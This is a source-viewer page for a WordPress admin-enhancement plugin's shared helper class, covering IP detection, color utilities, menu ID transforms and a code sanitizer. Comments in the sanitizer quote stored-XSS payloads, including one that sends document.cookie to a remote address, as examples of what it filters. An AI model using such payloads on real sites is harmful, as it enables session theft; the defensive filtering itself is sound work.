PluginProbe ʕ •ᴥ•ʔ
Admin and Site Enhancements (ASE) / 8.2.3
Admin and Site Enhancements (ASE) v8.2.3
9.1.0 9.0.2 9.0.1 9.0.0 8.9.2 8.9.1 8.9.0 8.8.8 8.8.7 8.8.6 8.8.5 8.8.4 8.8.3 8.8.2 8.8.1 8.8.0 8.7.3 8.7.2 8.7.1 8.2.1 8.2.2 8.2.3 8.3.0 8.3.1 8.3.2 8.4.0 8.4.1 8.4.2 8.5.0 8.5.1 8.5.2 8.6.0 8.6.1 8.6.2 8.7.0 5.0.1 5.0.2 5.0.2.1 5.0.2.2 5.0.2.3 5.0.2.4 5.1.0 5.2.0 5.2.1 5.2.10 5.2.11 5.2.2 5.2.3 5.2.4 5.2.5 5.2.6 5.2.7 5.2.8 5.2.9 5.3.0 5.3.1 5.3.2 5.4.0 5.4.1 5.5.0 5.5.1 5.5.2 5.6.0 5.6.1 5.6.2 5.7.0 5.7.1 5.8.0 5.8.1 6.0.0 6.0.3 6.0.4 6.0.5 6.0.5.1 6.0.6 6.0.7 6.0.8.1 6.1.0 6.1.3 6.2.0 6.2.1 6.2.2 6.2.3 6.2.4 6.2.5 6.2.6 6.2.7 6.3.0 6.3.1 6.3.2 6.4.0 6.5.0 6.5.1 6.6.0 6.7.0 6.8.0 6.8.2 6.8.3 6.9.0 6.9.1 6.9.10 6.9.11 6.9.12 6.9.13.1 6.9.13.2 6.9.2 6.9.3 6.9.4 6.9.5 6.9.6 6.9.7 6.9.8 6.9.9 7.0.0 7.0.2 7.0.2.1 7.0.2.2 7.0.2.3 7.0.3 7.1.0 7.1.1 7.1.2 7.1.3 7.1.4 7.1.5 7.2.0 7.2.1 7.3.0 7.3.1 7.3.2 7.3.3 7.4.0 7.4.2 7.4.4 7.4.5 7.4.6 7.4.7 7.4.8 7.5.0 7.5.1 7.5.2 7.5.3 7.5.4 7.6.0 7.6.1 7.6.1.1 7.6.10 7.6.11 7.6.2 7.6.3 7.6.4 7.6.5 7.6.6 7.6.7 7.6.7.1 7.6.8 7.6.9 7.7.0 7.8.0 7.8.1 7.8.10 7.8.11 7.8.12 7.8.13 7.8.14 7.8.15 7.8.16 7.8.17 7.8.18 7.8.2 7.8.3 7.8.4 7.8.5 7.8.5.1 7.8.6 7.8.7 7.8.8 7.8.9 7.9.0 7.9.1 7.9.10 7.9.11 7.9.2 7.9.3 7.9.4 7.9.5 7.9.6 7.9.7 7.9.8 7.9.9 8.0.0 8.0.1 8.0.2 8.0.3 8.0.4 8.0.5 8.0.6 8.0.7 8.0.8 8.1.0 8.1.1 8.1.2 8.1.3 8.1.4 8.2.0 trunk 1.0.0 1.1.0 1.2.0 1.3.0 1.4.0 1.5.0 1.6.0 1.7.0 1.8.0 1.9.0 2.0.0 2.1.0 2.2.0 2.3.0 2.4.0 2.5.0 2.6.0 2.7.0 2.8.0 2.8.1 2.8.2 2.8.3 2.9.0 3.0.0 3.0.1 3.0.2 3.0.3 3.0.4 3.0.5 3.0.6 3.1.0 3.2.0 3.3.0 3.4.0 3.5.0 3.6.1 3.7.0 3.8.0 3.9.0 3.9.1 3.9.2 4.0.0 4.0.1 4.1.0 4.2.0 4.2.1 4.2.2 4.3.0 4.3.1 4.4.0 4.5.0 4.6.0 4.7.0 4.7.1 4.7.2 4.7.3 4.7.4 4.8.0 4.8.1 4.8.2 4.8.3 4.9.0 4.9.1 4.9.2 4.9.3 5.0.0
admin-site-enhancements / classes / class-common-methods.php
admin-site-enhancements / classes Last commit date
class-activation.php 7 months ago class-admin-menu-organizer.php 7 months ago class-admin-menu-svg-icon-mask.php 7 months ago class-auto-publish-posts-with-missed-schedule.php 7 months ago class-avif-upload.php 7 months ago class-captcha-protection.php 7 months ago class-change-login-url.php 7 months ago class-cleanup-admin-bar.php 7 months ago class-common-methods.php 7 months ago class-content-duplication.php 7 months ago class-content-order.php 7 months ago class-custom-admin-footer-text.php 7 months ago class-custom-body-class.php 7 months ago class-custom-css.php 7 months ago class-custom-nav-menu-items-in-new-tab.php 7 months ago class-deactivation.php 7 months ago class-disable-author-archives.php 7 months ago class-disable-comments.php 7 months ago class-disable-dashboard-widgets.php 7 months ago class-disable-embeds.php 7 months ago class-disable-feeds.php 7 months ago class-disable-gutenberg.php 7 months ago class-disable-rest-api.php 7 months ago class-disable-smaller-components.php 7 months ago class-disable-updates.php 7 months ago class-disable-xml-rpc.php 7 months ago class-display-system-summary.php 7 months ago class-email-address-obfuscator.php 7 months ago class-email-delivery.php 7 months ago class-enhance-list-tables.php 7 months ago class-external-permalinks.php 7 months ago class-heartbeat-control.php 7 months ago class-hide-admin-bar.php 7 months ago class-hide-admin-notices.php 7 months ago class-image-sizes-panel.php 7 months ago class-image-upload-control.php 7 months ago class-insert-head-body-footer-code.php 7 months ago class-last-login-column.php 7 months ago class-limit-login-attempts.php 7 months ago class-login-id-type.php 7 months ago class-login-logout-menu.php 7 months ago class-maintenance-mode.php 7 months ago class-manage-ads-appads-txt.php 7 months ago class-manage-robots-txt.php 7 months ago class-media-replacement.php 7 months ago class-multiple-user-roles.php 7 months ago class-obfuscate-author-slugs.php 7 months ago class-open-external-links-in-new-tab.php 7 months ago class-password-protection.php 7 months ago class-redirect-after-login.php 7 months ago class-redirect-after-logout.php 7 months ago class-redirect-fourofour.php 7 months ago class-registration-date-column.php 7 months ago class-revisions-control.php 7 months ago class-search-engines-visibility.php 7 months ago class-settings-fields-render.php 7 months ago class-settings-sanitization.php 7 months ago class-settings-sections-fields.php 7 months ago class-show-custom-taxonomy-filters.php 7 months ago class-site-identity-on-login-page.php 7 months ago class-svg-upload.php 7 months ago class-various-admin-ui-enhancements.php 7 months ago class-view-admin-as-role.php 7 months ago class-wider-admin-menu.php 7 months ago class-wp-config-transformer.php 7 months ago
class-common-methods.php
626 lines
1 <?php
2
3 namespace ASENHA\Classes;
4
5 use WP_Query;
6 /**
7 * Class that provides common methods used throughout the plugin
8 *
9 * @since 2.5.0
10 */
11 class Common_Methods {
12 /**
13 * Get IP of the current visitor/user. In use by at least the Limit Login Attempts feature.
14 * This takes a best guess of the visitor's actual IP address.
15 * Takes into account numerous HTTP proxy headers due to variations
16 * in how different ISPs handle IP addresses in headers between hops.
17 *
18 * @link https://stackoverflow.com/q/1634782
19 * @since 2.5.0
20 */
21 public function get_user_ip_address( $return_type = 'ip', $for_which_module = 'limit-login-attempts' ) {
22 $options = get_option( ASENHA_SLUG_U, array() );
23 $ip_address_header = '';
24 switch ( $for_which_module ) {
25 case 'limit-login-attempts':
26 $ip_address_header = ( isset( $options['limit_login_attempts_header_override'] ) ? trim( $options['limit_login_attempts_header_override'] ) : '' );
27 break;
28 case 'password-protection':
29 $ip_address_header = ( isset( $options['password_protection_header_override'] ) ? trim( $options['password_protection_header_override'] ) : '' );
30 break;
31 }
32 // Attempt to get IP address with the preferred header
33 if ( !empty( $ip_address_header ) && isset( $_SERVER[$ip_address_header] ) ) {
34 // Check if multiple IP addresses exist in var
35 $ip_list = explode( ',', $_SERVER[$ip_address_header] );
36 if ( is_array( $ip_list ) && count( $ip_list ) > 1 ) {
37 foreach ( $ip_list as $ip ) {
38 switch ( $return_type ) {
39 case 'ip':
40 if ( $this->is_ip_valid( trim( $ip ) ) ) {
41 return sanitize_text_field( trim( $ip ) );
42 } else {
43 return '0.0.0.0';
44 // placeholder IP address
45 }
46 break;
47 case 'header':
48 return $ip_address_header . ' (multiple IP addresses)';
49 break;
50 }
51 }
52 } else {
53 switch ( $return_type ) {
54 case 'ip':
55 if ( $this->is_ip_valid( trim( $_SERVER[$ip_address_header] ) ) ) {
56 return sanitize_text_field( $_SERVER[$ip_address_header] );
57 } else {
58 return '0.0.0.0';
59 // placeholder IP address
60 }
61 break;
62 case 'header':
63 return $ip_address_header;
64 break;
65 }
66 }
67 }
68 // The following request headers can be modified by user or attacker when sending a request, so, will bypass an already blocked IP
69 // 'HTTP_CLIENT_IP', 'CF_CONNECTING_IP', 'HTTP_CF_CONNECTING_IP', 'HTTP_CF_CONNECTING_IP', 'TRUE_CLIENT_IP', 'HTTP_TRUE_CLIENT_IP', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED'
70 // Reported as security vulnerability in ASE <= v7.6.7.1 -- Limit Login Attempt Bypass via IP Spoofing
71 // Return unreliable but unspoofable IP address coming from the $_SERVER global as the default / fallback
72 switch ( $return_type ) {
73 case 'ip':
74 if ( $this->is_ip_valid( trim( $_SERVER['REMOTE_ADDR'] ) ) ) {
75 return sanitize_text_field( $_SERVER['REMOTE_ADDR'] );
76 } else {
77 return '0.0.0.0';
78 // placeholder IP address
79 }
80 break;
81 case 'header':
82 return 'REMOTE_ADDR';
83 break;
84 }
85 }
86
87 /**
88 * Check if the supplied IP address is valid or not
89 *
90 * @param string $ip an IP address
91 * @link https://stackoverflow.com/q/1634782
92 * @return boolean true if supplied address is valid IP, and false otherwise
93 */
94 public function is_ip_valid( $ip ) {
95 if ( empty( $ip ) ) {
96 return false;
97 }
98 // Ref: https://www.php.net/manual/en/filter.filters.validate.php
99 // Ref: https://www.php.net/manual/en/filter.constants.php#constant.filter-validate-ip
100 // No need to specify which IP type to filter/check, e.g. filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 )
101 // This should check for both IPv4 and IPv6 addresses
102 if ( false === filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 ) && false === filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6 ) ) {
103 return false;
104 }
105 if ( false !== filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 ) || false !== filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6 ) ) {
106 return true;
107 }
108 }
109
110 /**
111 * Convert number of seconds into hours, minutes, seconds. In use by at least the Limit Login Attempts feature.
112 *
113 * @since 2.5.0
114 */
115 public function seconds_to_period( $seconds, $conversion_type ) {
116 $period_start = new \DateTime('@0');
117 $period_end = new \DateTime("@{$seconds}");
118 if ( $conversion_type == 'to-days-hours-minutes-seconds' ) {
119 return $period_start->diff( $period_end )->format( '%a days, %h hours, %i minutes and %s seconds' );
120 } elseif ( $conversion_type == 'to-hours-minutes-seconds' ) {
121 return $period_start->diff( $period_end )->format( '%h hours, %i minutes and %s seconds' );
122 } elseif ( $conversion_type == 'to-minutes-seconds' ) {
123 return $period_start->diff( $period_end )->format( '%i minutes and %s seconds' );
124 } else {
125 return $period_start->diff( $period_end )->format( '%a days, %h hours, %i minutes and %s seconds' );
126 }
127 }
128
129 /**
130 * Remove html tags and content inside the tags from a string
131 *
132 * @since 3.0.3
133 */
134 public function strip_html_tags_and_content( $string ) {
135 // Strip HTML tags and content inside them. Ref: https://stackoverflow.com/a/39320168
136 if ( !is_null( $string ) ) {
137 if ( false === strpos( $string, 'fs-submenu-item' ) ) {
138 $string = preg_replace( '@<(\\w+)\\b.*?>.*?</\\1>@si', '', $string );
139 }
140 // Strip any remaining HTML or PHP tags
141 $string = strip_tags( $string );
142 }
143 return $string;
144 }
145
146 /**
147 * Get menu hidden by toggle
148 *
149 * @since 5.1.0
150 */
151 public function get_menu_hidden_by_toggle() {
152 $menu_hidden_by_toggle = array();
153 $options_extra = get_option( ASENHA_SLUG_U . '_extra', array() );
154 $options = ( isset( $options_extra['admin_menu'] ) ? $options_extra['admin_menu'] : array() );
155 if ( array_key_exists( 'custom_menu_hidden', $options ) ) {
156 $menu_hidden = $options['custom_menu_hidden'];
157 $menu_hidden = explode( ',', $menu_hidden );
158 $menu_hidden_by_toggle = array();
159 foreach ( $menu_hidden as $menu_id ) {
160 $menu_hidden_by_toggle[] = $this->restore_menu_item_id( $menu_id );
161 }
162 }
163 return $menu_hidden_by_toggle;
164 }
165
166 /**
167 * Get user capabilities for which the "Show All/Less" menu toggle should be shown for
168 *
169 * @since 5.1.0
170 */
171 public function get_user_capabilities_to_show_menu_toggle_for() {
172 global $menu, $submenu;
173 $menu_always_hidden = array();
174 $user_capabilities_menus_are_hidden_for = array();
175 $menu_hidden_by_toggle = $this->get_menu_hidden_by_toggle();
176 // indexed array
177 foreach ( $menu as $menu_key => $menu_info ) {
178 foreach ( $menu_hidden_by_toggle as $hidden_menu_id ) {
179 if ( false !== strpos( $menu_info[4], 'wp-menu-separator' ) ) {
180 $menu_item_id = $menu_info[2];
181 } else {
182 $menu_item_id = $menu_info[5];
183 }
184 if ( $menu_item_id == $hidden_menu_id ) {
185 $user_capabilities_menus_are_hidden_for[] = $menu_info[1];
186 }
187 }
188 }
189 $user_capabilities_menus_are_hidden_for = array_unique( $user_capabilities_menus_are_hidden_for );
190 return $user_capabilities_menus_are_hidden_for;
191 // indexed array
192 }
193
194 /**
195 * Transform menu item's ID
196 *
197 * @since 5.1.0
198 */
199 public function transform_menu_item_id( $menu_item_id ) {
200 // Transform e.g. edit.php?post_type=page ==> edit__php___post_type____page
201 $menu_item_id_transformed = str_replace( array(
202 ".",
203 "?",
204 "=/",
205 "=",
206 "&",
207 "/",
208 ";"
209 ), array(
210 "__",
211 "___",
212 "_______",
213 "____",
214 "_____",
215 "______",
216 "________"
217 ), $menu_item_id );
218 return $menu_item_id_transformed;
219 }
220
221 /**
222 * Transform menu item's ID
223 *
224 * @since 5.1.0
225 */
226 public function restore_menu_item_id( $menu_item_id_transformed ) {
227 // Transform e.g. edit__php___post_type____page ==> edit.php?post_type=page
228 $menu_item_id = str_replace( array(
229 "________",
230 "_______",
231 "______",
232 "_____",
233 "____",
234 "___",
235 "__"
236 ), array(
237 ";",
238 "=/",
239 "/",
240 "&",
241 "=",
242 "?",
243 "."
244 ), $menu_item_id_transformed );
245 return $menu_item_id;
246 }
247
248 /**
249 * Sanitize hexedecimal numbers used for colors
250 *
251 * @link https://plugins.trac.wordpress.org/browser/bm-custom-login/trunk/bm-custom-login.php
252 * @param string $color Hex number to sanitize.
253 * @return string
254 */
255 public function sanitize_hex_color( $color ) {
256 if ( '' === $color ) {
257 return '';
258 }
259 // Make sure the color starts with a hash.
260 $color = '#' . ltrim( $color, '#' );
261 // 3 or 6 hex digits, or the empty string.
262 if ( preg_match( '|^#([A-Fa-f0-9]{3}){1,2}$|', $color ) ) {
263 return $color;
264 }
265 return null;
266 }
267
268 /**
269 * Get the post ID of the most recent post in a custom post type
270 *
271 * @since 6.4.1
272 */
273 public function get_most_recent_post_id( $post_type ) {
274 $args = array(
275 'post_type' => $post_type,
276 'posts_per_page' => 1,
277 'orderby' => 'date',
278 'order' => 'DESC',
279 );
280 $query = new WP_Query($args);
281 if ( $query->have_posts() ) {
282 $query->the_post();
283 $post_id = get_the_ID();
284 wp_reset_postdata();
285 return $post_id;
286 }
287 return 0;
288 // Return 0 if no posts found
289 }
290
291 /**
292 * Extended ruleset for wp_kses() that includes SVG tag and it's children
293 *
294 * @since 6.8.3
295 */
296 public function get_kses_extended_ruleset() {
297 $kses_defaults = wp_kses_allowed_html( 'post' );
298 // For SVG icons
299 $svg_args = array(
300 'svg' => array(
301 'class' => true,
302 'aria-hidden' => true,
303 'aria-labelledby' => true,
304 'role' => true,
305 'xmlns' => true,
306 'width' => true,
307 'height' => true,
308 'viewbox' => true,
309 'viewBox' => true,
310 ),
311 'g' => array(
312 'fill' => true,
313 'fill-rule' => true,
314 'stroke' => true,
315 'stroke-width' => true,
316 'stroke-linejoin' => true,
317 'stroke-linecap' => true,
318 ),
319 'title' => array(
320 'title' => true,
321 ),
322 'path' => array(
323 'd' => true,
324 'fill' => true,
325 'stroke' => true,
326 'stroke-width' => true,
327 'stroke-linejoin' => true,
328 'stroke-linecap' => true,
329 ),
330 'rect' => array(
331 'width' => true,
332 'height' => true,
333 'x' => true,
334 'y' => true,
335 'rx' => true,
336 'ry' => true,
337 'fill' => true,
338 'stroke' => true,
339 'stroke-width' => true,
340 'stroke-linejoin' => true,
341 'stroke-linecap' => true,
342 ),
343 'circle' => array(
344 'cx' => true,
345 'cy' => true,
346 'r' => true,
347 'stroke' => true,
348 'stroke-width' => true,
349 'stroke-linejoin' => true,
350 'stroke-linecap' => true,
351 ),
352 );
353 $kses_with_extras = array_merge( $kses_defaults, $svg_args );
354 // For embedded PDF viewer
355 $style_script_args = array(
356 'style' => true,
357 'script' => array(
358 'src' => true,
359 ),
360 );
361 return array_merge( $kses_with_extras, $style_script_args );
362 }
363
364 /**
365 * Get the singular label from a $post object
366 *
367 * @since 6.9.3
368 */
369 function get_post_type_singular_label( $post ) {
370 $post_type_singular_label = '';
371 if ( property_exists( $post, 'post_type' ) ) {
372 $post_type_object = get_post_type_object( $post->post_type );
373 if ( is_object( $post_type_object ) && property_exists( $post_type_object, 'label' ) ) {
374 $post_type_singular_label = $post_type_object->labels->singular_name;
375 }
376 }
377 return $post_type_singular_label;
378 }
379
380 function is_in_block_editor() {
381 $current_screen = get_current_screen();
382 if ( method_exists( $current_screen, 'is_block_editor' ) && $current_screen->is_block_editor() ) {
383 return true;
384 } else {
385 return false;
386 }
387 }
388
389 /**
390 * Check if WooCommerce is active
391 *
392 * @since 6.9.9
393 */
394 public function is_woocommerce_active() {
395 if ( function_exists( 'is_plugin_active' ) && is_plugin_active( 'woocommerce/woocommerce.php' ) ) {
396 return true;
397 } else {
398 return false;
399 }
400 }
401
402 /**
403 * Convert HEX color to RGBA
404 *
405 * @link https://stackoverflow.com/a/31934345
406 * @since 7.0.0
407 */
408 public function hex_to_rgba( $hex, $alpha = false ) {
409 $hex = str_replace( '#', '', trim( $hex ) );
410 $length = strlen( $hex );
411 $rgb['r'] = hexdec( ( $length == 6 ? substr( $hex, 0, 2 ) : (( $length == 3 ? str_repeat( substr( $hex, 0, 1 ), 2 ) : 0 )) ) );
412 $rgb['g'] = hexdec( ( $length == 6 ? substr( $hex, 2, 2 ) : (( $length == 3 ? str_repeat( substr( $hex, 1, 1 ), 2 ) : 0 )) ) );
413 $rgb['b'] = hexdec( ( $length == 6 ? substr( $hex, 4, 2 ) : (( $length == 3 ? str_repeat( substr( $hex, 2, 1 ), 2 ) : 0 )) ) );
414 if ( false !== $alpha ) {
415 $rgb['a'] = $alpha;
416 }
417 // Return array of r, g, b and a
418 // return $rgb;
419 // Return rgb(255,255,255) or rgba(255,255,255,.5)
420 return implode( array_keys( $rgb ) ) . '(' . implode( ', ', $rgb ) . ')';
421 }
422
423 /**
424 * Increases or decreases the brightness of a color by a percentage of the current brightness.
425 *
426 * @param string $hex Supported formats: `#FFF`, `#FFFFFF`, `FFF`, `FFFFFF`
427 * @param float $adjustment_percentage A number between -1 and 1. E.g. 0.3 = 30% lighter; -0.4 = 40% darker.
428 *
429 * @return string
430 *
431 * @link https://stackoverflow.com/a/54393956
432 * @author maliayas
433 */
434 function adjust_bnrightness( $hex, $adjustment_percentage ) {
435 $hex = ltrim( $hex, '#' );
436 if ( strlen( $hex ) == 3 ) {
437 $hex = $hex[0] . $hex[0] . $hex[1] . $hex[1] . $hex[2] . $hex[2];
438 }
439 $hex = array_map( 'hexdec', str_split( $hex, 2 ) );
440 foreach ( $hex as &$color ) {
441 $adjustableLimit = ( $adjustment_percentage < 0 ? $color : 255 - $color );
442 $adjustAmount = ceil( $adjustableLimit * $adjustment_percentage );
443 $color = str_pad(
444 dechex( $color + $adjustAmount ),
445 2,
446 '0',
447 STR_PAD_LEFT
448 );
449 }
450 return '#' . implode( $hex );
451 }
452
453 /**
454 * Detect if a color is light or dark
455 *
456 * @link https://stackoverflow.com/a/12228730
457 * @since 7.0.0
458 */
459 public function is_color_dark( $hex ) {
460 $hex = str_replace( '#', '', trim( $hex ) );
461 $r = hexdec( $hex[0] . $hex[1] );
462 $g = hexdec( $hex[2] . $hex[3] );
463 $b = hexdec( $hex[4] . $hex[5] );
464 $lightness = (max( $r, $g, $b ) + min( $r, $g, $b )) / 510.0;
465 // HSL algorithm
466 if ( $lightness > 0.8 ) {
467 return false;
468 } else {
469 return true;
470 }
471 }
472
473 /**
474 * Return SVG for small triangle in place of using &#9654; HTMl character
475 * which may be converted to emoticon by the browser or app
476 *
477 * @since 7.2.0
478 */
479 public function get_svg_triangle() {
480 return '<svg xmlns="http://www.w3.org/2000/svg" width="10" height="10" viewBox="0 0 16 16"><path fill="currentColor" d="M14.222 6.687a1.5 1.5 0 0 1 0 2.629l-10 5.499A1.5 1.5 0 0 1 2 13.5V2.502a1.5 1.5 0 0 1 2.223-1.314z"/></svg>';
481 }
482
483 /**
484 * Get an image URL from an ASE setting field, which could be an internal relative URL or an external URL
485 *
486 * @since 7.2.1
487 */
488 public function get_image_url( $ase_settings_field_name ) {
489 $options = get_option( ASENHA_SLUG_U, array() );
490 if ( isset( $options[$ase_settings_field_name] ) ) {
491 if ( false === strpos( $options[$ase_settings_field_name], 'http' ) && false !== strpos( $options[$ase_settings_field_name], '/uploads/' ) ) {
492 $logo_image = content_url() . $options[$ase_settings_field_name];
493 } else {
494 // $maybe_valid_url = filter_var( $options['admin_logo_image'], FILTER_SANITIZE_URL );
495 $maybe_valid_url = sanitize_url( $options[$ase_settings_field_name], array('http', 'https') );
496 if ( false !== filter_var( $maybe_valid_url, FILTER_VALIDATE_URL ) ) {
497 $logo_image = $maybe_valid_url;
498 } else {
499 $logo_image = '';
500 }
501 }
502 } else {
503 $logo_image = '';
504 }
505 return $logo_image;
506 }
507
508 /**
509 * Get current URL, without query parameters and without trailing slash
510 * e.g. https://www.site.com/some-page
511 *
512 * @return string
513 */
514 public function get_current_url() {
515 $output = '';
516 $url = (( is_ssl() ? 'https://' : 'http://' )) . sanitize_text_field( $_SERVER['HTTP_HOST'] ) . sanitize_text_field( $_SERVER['REQUEST_URI'] );
517 $url_parts = explode( '?', $url, 2 );
518 // limit to max of 2 elements with last element containing the rest of the string
519 if ( isset( $url_parts[0] ) ) {
520 $output = trim( $url_parts[0], '/' );
521 }
522 return ( $output ? urldecode( $output ) : '/' );
523 }
524
525 /**
526 * Get full URL, with query parameters
527 * e.g. https://www.site.com/some-page?param=value
528 *
529 * @link https://stackoverflow.com/a/6768831
530 * @since 7.8.18
531 */
532 public function get_full_url() {
533 $full_url = (( empty( $_SERVER['HTTPS'] ) ? 'http' : 'https' )) . "://{$_SERVER['HTTP_HOST']}{$_SERVER['REQUEST_URI']}";
534 return $full_url;
535 }
536
537 /**
538 * Get array of elements with value of true
539 *
540 * @since 7.6.10
541 */
542 public function get_array_of_keys_with_true_value( $array_with_true_false_values ) {
543 $array_of_keys_with_true_value = array();
544 if ( is_array( $array_with_true_false_values ) && count( $array_with_true_false_values ) > 0 ) {
545 foreach ( $array_with_true_false_values as $key => $value ) {
546 if ( $value ) {
547 $array_of_keys_with_true_value[] = $key;
548 }
549 }
550 return $array_of_keys_with_true_value;
551 } else {
552 return array();
553 // default, empty array
554 }
555 }
556
557 /**
558 * Sanitize user-submitted code from potential security vulnerabilities
559 *
560 * @since 7.8.7
561 */
562 public function sanitize_html_js_css_code( $code ) {
563 $code_lines = explode( PHP_EOL, $code );
564 $sanitized_code_lines = array();
565 foreach ( $code_lines as $code_line ) {
566 if ( false !== strpos( $code_line, 'src=' ) && false !== strpos( $code_line, 'document.cookie' ) ) {
567 // Do nothing. Do not include the code line in the sanitized code.
568 // Example of malicious code:
569 // 1. Stored XSS vulnerability: <script>new Image().src='http://10.5.7.89:8001/index.php?c='+document.cookie</script>
570 // This line of code will send cookies from users browser to a remote server for exploitation
571 } else {
572 if ( false !== strpos( $code_line, '<img' ) && false !== strpos( $code_line, 'src=' ) && false !== strpos( $code_line, 'onerror' ) ) {
573 // Do nothing. Do not include the code line in the sanitized code.
574 // Example of malicious code:
575 // 1. Stored XSS vulnerability: <img src=x onerror=alert(1)>
576 // This may entail account takeover backdoor
577 } else {
578 $sanitized_code_lines[] = $code_line;
579 }
580 }
581 }
582 $sanitized_code = implode( PHP_EOL, $sanitized_code_lines );
583 return $sanitized_code;
584 }
585
586 /**
587 * Part of Disable Embeds module
588 * Remove all rewrite rules related to embeds.
589 * During deactivation / activation.
590 *
591 * @link https://plugins.trac.wordpress.org/browser/disable-embeds/tags/1.5.0/disable-embeds.php#L86
592 * @since 8.0.0
593 *
594 * @param array $rules WordPress rewrite rules.
595 * @return array Rewrite rules without embeds rules.
596 */
597 public function disable_embeds_rewrites( $rules ) {
598 foreach ( $rules as $rule => $rewrite ) {
599 if ( false !== strpos( $rewrite, 'embed=true' ) ) {
600 unset($rules[$rule]);
601 }
602 }
603 return $rules;
604 }
605
606 /**
607 * Get an indexed array of public post type slug => label pairs
608 *
609 * @since 8.0.1
610 */
611 public function get_public_post_type_slugs() {
612 $asenha_public_post_types = array();
613 $public_post_type_names = get_post_types( array(
614 'public' => true,
615 ), 'names' );
616 foreach ( $public_post_type_names as $post_type_name ) {
617 $post_type_object = get_post_type_object( $post_type_name );
618 $asenha_public_post_types[$post_type_name] = $post_type_object->label;
619 }
620 asort( $asenha_public_post_types );
621 // sort by value, ascending
622 return $asenha_public_post_types;
623 }
624
625 }
626